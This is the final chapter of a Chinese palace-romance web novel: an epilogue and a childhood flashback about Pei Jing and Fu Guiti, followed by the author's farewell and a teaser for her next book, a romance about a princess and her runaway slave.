赵清缩着身子踮脚张望,不假思索回道:“回太子殿下,那是镇南王世子,傅归宜。” 裴璟在脑海中回忆这么号人,“苍云九州的傅家?” 镇南王是个髯须大汉,九尺高的身躯,一拳下去能打死一头成年的雄鹿,他的儿子怎么生得如此清瘦羸弱。 “正是。当年镇南王第一个归顺南陵,为其余部族做了表率,引得其余诸部纷纷效仿,省了咱们不少水磨功夫。” 赵清对一开始就乖巧听话的傅归宜很有好感。他长相出挑,令人过目难忘,不免替他多说了句他的好话,“傅世子自打进宫以来勤学好问,对南陵充满敬仰,对您更是尊敬推崇。” “他倒是个识时务的。”裴璟眼中闪过满意之色。 傅归荑指尖上的白雪慢慢融化,顺着手指往下流淌,最后只剩下一层晶莹剔透的水渍覆在比雪还白的手指上。 忽地,她将指尖放在唇边,伸出粉嫩的舌头舔了舔。 裴璟怔了一下,心莫名其妙地随着他的动作猛然一颤,好似被舔的是他的心脏。 他目光下移,落在傅归荑白皙的脖颈上。 如雪的肌肤吹弹可破,似乎只要轻轻一掐便能留下一圈红痕。 “阿宜,你快回来,别被冻着了。”乌拉尔见傅归荑在玩雪,连忙穿过人群过来阻止她。 “知道了。”傅归荑甩掉手里剩余的雪水,转身躲进屋檐里。 裴璟目光低垂,眸底闪动着暗沉的光。 他脸上表情很淡,心却如擂鼓般咚咚响个不停。 那抹笑容如同一团烈焰,烧得他全身颤抖。 傅归宜。 裴璟在心里默念这三个字,脑子里只有一个念头。 他的笑太耀眼。 直到雪停,傅归荑等人离开,裴璟仍停在原处。 他目送那道纤细挺拔的背影渐渐消失在视线内。 裴璟抬头望向远处一道又一道的红墙金瓦,白雪也无法完全抹去宫内与宫外的界限。 转身离开,他嘴角勾起一抹耐人寻味的笑。 进来了,想出去可不容易。 * 初遇·往事篇 “你是谁,为什么救我?”年仅十二岁的裴璟捂住手臂上的伤,目光灼灼仰头望着树干上的人。 “我没有救你,我只是讨厌北蛮人。”一个约莫七八岁的小女孩眉眼清冷,她身穿游牧民的兽皮裙,慢慢爬下树。 裴璟抽出靴子里的匕首,一瘸一拐地走到被小女孩用弹弓打晕的两个北蛮人身边,利落地刺进他们的心脏里。 鲜血染红了整把匕首,裴璟神色淡漠地擦在尸体身上。 小女孩站在树下安静地看着这一切。 “你不怕我吗?”裴璟的匕首没有收回去,脸色寒厉朝小女孩一步一步走去。 他的脸上沾了几滴血,顺着脸颊缓缓往下流淌,划出一道骇人的血线。 小女孩的眼睛始终没有波澜,更不曾后退一步,仿佛笃定裴璟不会伤害她。 “你已是强弩之末。”小女孩观察入微,淡淡道:“我可以在你动手之前,射瞎你的眼睛。” 她的话虽然狠毒,手却始终垂在身侧,不曾动手。 裴璟轻笑一声,将匕首收回鞘内。 “你为什么一个人在这里?”裴璟环视四周,发现除了小女孩外并无其他人在场。 “这不关你的事,”小女孩缓声道:“快走,等天暗下来会有狼群出没。” 傅归荑打量眼前的少年,他眉眼锋利如寒刃,周身萦绕一股危险的气势。 衣物破损,看上去狼狈不堪,却叫她心生警惕,但又莫名觉得他不会伤害自己。 裴璟见她并不想跟自己交谈,也不强求,转身去寻自己的马。 他要在天黑之前赶到南陵的边关口,他想再见母后最后一眼。 谁料在裴璟翻身上马时,那匹马忽然倒了下来,差点压倒他。 裴璟皱着眉检查马匹,发现它的后腿受了伤,无法再行走。 傅归荑见状,眉头轻蹙,她嘴唇微张又合拢,最终也未说出一个字。 裴璟转了一圈,发现这匹马实在是没办法救回,便打算徒步离开。 “喂,你靠脚走不出这片密林的。” 夜晚的密林充满危险,不但有狼群,还有虎豹,黑熊,毒蛇等致命之物,他身上的血腥味会引来猎食者,仅凭一把匕首是决计见不到翌日的太阳。 裴璟固执地往前大步走,没有回头:“走不到也要走。” 后面静默了片刻。 傅归荑问他:“你要去哪里?” “我要回家。”裴璟掷地有声:“我要赶回去见我母亲最后一面。” 他语气中的坚定令傅归荑心口一颤,回家二字更是触动了她的内心。 “你等等……” 裴璟终于停下脚步,回头看着傅归荑。 傅归荑的拇指和食指放在嘴边,吹出一个奇异的哨音,一匹健壮的骏马从一团茂密的草丛里跑出来。 “送给你。”傅归荑从马背上取出一把弓挂在身后,牵着马走到裴璟面前,递给他缰绳。 裴璟迟迟未接,半眯着眼眸注视着她。 “为什么给我?” 傅归荑双眸如星子般灿烂,认真看向裴璟一字一顿道:“因为我想送你平安回家。” 裴璟的唇抿成一条直线,垂在身侧的手重逾千斤,抬不起来。 傅归荑注意到他的右臂还在渗血,强行抓住他的手腕,从马褡裢中拿出一瓶伤药,尽数倒在裴璟伤处,疼得他眉头皱成一团。 伤口处像被烈火炙烤,又像被尖针扎透,疼得他五脏六腑都移了位。 裴璟屏住呼吸,侧目凝视为他上药包扎的小女孩,她的睫毛浓密长翘,眼眸淡如薄雾,嘴唇轻抿,看上去有种疏离冰冷之感。 然而就是这样一个人,手中的动作温柔小心,一丝不苟,让他莫名觉得自己像一件珍宝。 裴璟忽然觉得喉头微暖,宛如疲惫的旅人喝下一碗热汤,扫去一身疲惫。 “伤口别碰水。”傅归荑放开他的手,重新缰绳塞进他另一只没收拾的掌心,接着又从怀里掏出一个荷包放在他手上。 “里面有钱,马褡裢里还有水和食物,足够你支撑三日。” 裴璟握住沉甸甸的袋子,凝眸不语,眼眶一热。 他沉默两秒:“……谢谢,我可以知道你的名字吗?” 裴璟有恩必报,哪怕他此时连能不能活下来都是未知数。 傅归荑淡笑:“不必,我只是你生命中的过客,往后也许再无见面之日。” 裴璟在听见“过客”二字时,心骤然缩了一下。 “我叫……” 傅归荑抬手捂住他的嘴,“别告诉我,我今日没有见过你。” 裴璟会意,点点头,傅归荑才将手放下。 因为两人个子相差甚大,傅归荑踮脚时弹弓不小心从怀里掉了出来,裴璟弯腰为她拾起。 弹弓身上有几颗牙印,裴璟暗自记下这些痕迹。 裴璟不动声色地套话,小女孩不肯告诉他名字,却表达了对北蛮的厌恶与痛恨。 原来她的家人也被北蛮人迫害,她经常守在这里是为了等待失散的亲人。 临别之际,裴璟问她:“你有什么愿望吗?” 傅归荑仰头看着马背上的裴璟,此时他头发凌乱,脸上抹了血和泥,衣衫褴褛看不出原本的颜色。 可他居高临下的模样让傅归荑莫名想到狼群中的头狼,一双黑寂乌沉的眸子中闪动着摄人的光芒。 她不知怎么,说了句异想天开的话。 “我想要,天下太平,万民安康,永无战争。” 裴璟握住缰绳的手紧了紧,默然半晌,没有回应。 傅归荑自知失言,朝他嫣然一笑。 “走罢,快回到你母亲身边,她一定等你很久了。” 裴璟凝视着傅归荑的笑,呼吸一滞,怔愣片刻。 薄薄的夕阳洒在她的脸上,晕开一抹暖黄,苍白无血色的唇瓣染上了些烟火人气。 他嗓音微哑,回道:“会有这一天的。” 说罢,裴璟掉转马头,策马扬鞭而去。 傅归荑给他的是匹良驹,裴璟稳稳当当地骑在上面,飞速向南陵疾驰。 忽然,他往后看了一眼,树下的人早已离去,空余枝叶在风中簌簌荡漾,天地被霞光染成一色。 终有一日,天下归一。 你要好好活着,等这天的到来。 裴璟在心里默念着。 后来裴璟在北蛮渐渐站稳脚跟,打听出当日救命恩人的身份。 在无数个夜深人静时,他拿出那个荷包,手指抚摸着内侧的“百里”二字。 百里萱。 按照年龄推算,那日的小女孩应当是百里族族长的小女儿。 裴璟将荷包捂在胸口,与心脏一同跳动。 某日,他听闻北蛮赤焰军屠杀了百里族所有人,老弱妇孺一个都没放过。 裴璟清晰地记得那天下了一场大雪。 他的心如同寒冰一般,坠入无底深渊。 幸好最后,她没有死。 那天晚上,裴璟心怀感激在镇南王府傅归荑的小院门口站了一夜。 那一刻,她爱不爱他,已经变得不再重要。 重要的是,她还活着。 也是那夜,他最终放弃强行将傅归荑带回南陵皇宫的念头。 作者有话说: 全文结束,感谢各位小天使一路支持,有缘下本见! 麻烦全订的小可爱帮忙评个分,优缺点都可以说,评分完记得在这一章按个爪,你们懂的! 傅归荑和裴璟的一些人物设定和创作思路有空我会放在@夏日满星空,有兴趣地看一下。 再次感谢各位一路的陪伴,狂么么么么!!! ——预收《公主的逃奴》—— 【撩而不自知貌美公主vs爱而不得求偏执皇子】 宋陵昭身为嫡长公主,受尽宠爱,性子霸道娇蛮,肆意妄为。 她不顾京中流言,外邦来朝时收了个相貌俊朗的奴隶入宫。 小奴隶名为纪清辞,能文能武,琴棋书画无一不通,领出去还算得脸。 然而众人心知肚明,他不过区区一个玩物,等大将军回朝与长公主成婚,再无他容身之处。 不久后,传来未婚夫打了胜仗准备回京述职的消息。 宋陵昭懒懒躺在罗汉塌上,白皙修长的脚尖轻抵住奴隶下颌,毫不在意调笑道:“清辞莫怕,等来日驸马进门,本宫会送你财帛千金,好生安顿下来。” 跪在地上的纪清辞眸底微暗,笑着谢恩,“奴猜公主舍不得。” 上首之人扯了扯嘴角,冷眼凝视他含情清隽的眉眼。 宋陵昭成亲前一个月,奴隶失踪了。 她虽气恼却也知此刻不是闹脾气的时候,安安心心待嫁。 谁料在大婚前夕,前方战事吃紧,大将军不得不前往支援。 婚期延了三个月后,宋陵昭得知未来驸马被敌军俘虏。 更过分的是,敌军将领听闻公主容貌昳丽,要拿她换人。 宋陵昭不愿,然皇命难违,她不得不赶赴前线。 敌军将领站在城墙上,盯着她的目光晦暗不明。 赫然是她逃跑的小奴隶。 纪清辞阴沉着脸走下台阶,朝宋陵昭一步步逼近,两指捏住宋陵昭的下颌,居高临下俯视她眼尾通红的可怜样。 “公主是为奴而来,还是为他?” 宋陵昭张口欲言,忽地被冰冷的指尖压住颤抖的唇。 纪清辞半眯着眸:“想清楚,再回答。” 【阅读指南】 甜文,后期有强取豪夺。【你现在阅读的是 】